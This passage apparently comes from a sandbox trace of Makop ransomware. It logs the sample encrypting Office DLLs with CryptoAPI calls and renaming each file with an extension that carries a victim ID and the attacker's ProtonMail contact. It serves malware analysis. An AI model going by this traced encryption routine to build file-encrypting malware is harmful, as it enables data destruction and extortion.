dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0087.734] GetProcessHeap () returned 0x48a0000 [0087.734] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0087.734] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0087.734] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0087.735] CloseHandle (hObject=0xf0) returned 1 [0087.735] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xa8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEREP.DLL", cAlternateFileName="")) returned 1 [0087.735] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0087.736] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0087.736] GetProcessHeap () returned 0x48a0000 [0087.736] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0087.736] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0087.736] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0087.737] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0087.737] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.737] GetProcessHeap () returned 0x48a0000 [0087.737] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0087.737] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0087.737] CryptDestroyKey (hKey=0x48c7128) returned 1 [0087.737] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0087.741] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0087.741] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0087.741] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0087.741] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0087.741] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0087.742] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0087.742] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.742] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.742] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa8da0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa8da0, lpOverlapped=0x0) returned 1 [0087.758] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa8da0, dwBufLen=0xa8da0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa8da0) returned 1 [0087.765] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.765] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa8da0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa8da0, lpOverlapped=0x0) returned 1 [0087.770] CryptDestroyKey (hKey=0x48c7128) returned 1 [0087.770] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa8e64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.771] SetEndOfFile (hFile=0xf0) returned 1 [0087.778] GetProcessHeap () returned 0x48a0000 [0087.779] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0087.779] GetProcessHeap () returned 0x48a0000 [0087.779] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0087.779] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 113 [0087.779] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0087.780] CloseHandle (hObject=0xf0) returned 1 [0087.780] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82940c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x48990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACETXT.DLL", cAlternateFileName="")) returned 1 [0087.780] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0087.780] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0087.781] GetProcessHeap () returned 0x48a0000 [0087.781] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0087.781] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0087.781] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0087.781] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0087.781] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.781] GetProcessHeap () returned 0x48a0000 [0087.781] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0087.781] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0087.782] CryptDestroyKey (hKey=0x48c7128) returned 1 [0087.782] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0087.785] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0087.785] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0087.785] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0087.785] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0087.786] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0087.786] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0087.786] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.786] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.786] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x48990, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x48990, lpOverlapped=0x0) returned 1 [0087.797] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x48990, dwBufLen=0x48990 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x48990) returned 1 [0087.799] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.800] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x48990, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x48990, lpOverlapped=0x0) returned 1 [0087.802] CryptDestroyKey (hKey=0x48c7128) returned 1 [0087.802] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x48a54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.802] SetEndOfFile (hFile=0xf0) returned 1 [0087.808] GetProcessHeap () returned 0x48a0000 [0087.808] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0087.808] GetProcessHeap () returned 0x48a0000 [0087.809] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0087.809] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 113 [0087.809] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0087.810] CloseHandle (hObject=0xf0) returned 1 [0087.811] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1092c00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xd82ba220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1092c00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x2e8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWDAT.DLL", cAlternateFileName="")) returned 1 [0087.811] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0087.811] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0087.812] GetFileSizeEx (in: hFile=0xf0, lpFileSize=0x6577ab8 | out: lpFileSize=0x6577ab8*=3050912) returned 1 [0087.812] GetProcessHeap () returned 0x48a0000 [0087.812] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0087.812] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0087.812] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.812] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0087.812] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.812] GetProcessHeap () returned 0x48a0000 [0087.812] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0087.812] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a88*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a88*=0x40) returned 1 [0087.812] CryptDestroyKey (hKey=0x48c7128) returned 1 [0087.813] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa4*=0x40, lpOverlapped=0x0) returned 1 [0087.817] WriteFile (in: hFile=0xf0, lpBuffer=0x6577aac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577aac*, lpNumberOfBytesWritten=0x6577aa4*=0x4, lpOverlapped=0x0) returned 1 [0087.817] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa4*=0x10, lpOverlapped=0x0) returned 1 [0087.817] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa4*=0x80, lpOverlapped=0x0) returned 1 [0087.817] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0087.817] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa4*=0x8, lpOverlapped=0x0) returned 1 [0087.818] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0087.818] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.818] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0087.818] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0087.830] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0087.833] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.833] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0087.835] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2e8e74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.835] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0087.835] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xf848a, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0087.835] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0087.857] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0087.860] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xf848a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.860] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0087.864] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2e8e74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.864] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0087.864] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2a8da0, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0087.864] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0087.872] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0087.875] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2a8da0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.875] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0087.877] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2e8e74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.877] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0087.877] CryptDestroyKey (hKey=0x48c7128) returned 1 [0087.877] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2e8e74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.877] SetEndOfFile (hFile=0xf0) returned 1 [0087.886] GetProcessHeap () returned 0x48a0000 [0087.886] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0087.886] GetProcessHeap () returned 0x48a0000 [0087.886] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0087.886] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0087.886] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0087.888] CloseHandle (hObject=0xf0) returned 1 [0087.889] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e0c9f00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xcf0c7d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8e0c9f00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x4dba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSS.DLL", cAlternateFileName="")) returned 1 [0087.889] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0087.889] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0087.891] GetProcessHeap () returned 0x48a0000 [0087.891] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0087.891] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0087.891] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0087.891] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0087.891] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.891] GetProcessHeap () returned 0x48a0000 [0087.891] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0087.892] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0087.892] CryptDestroyKey (hKey=0x48c7128) returned 1 [0087.892] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, 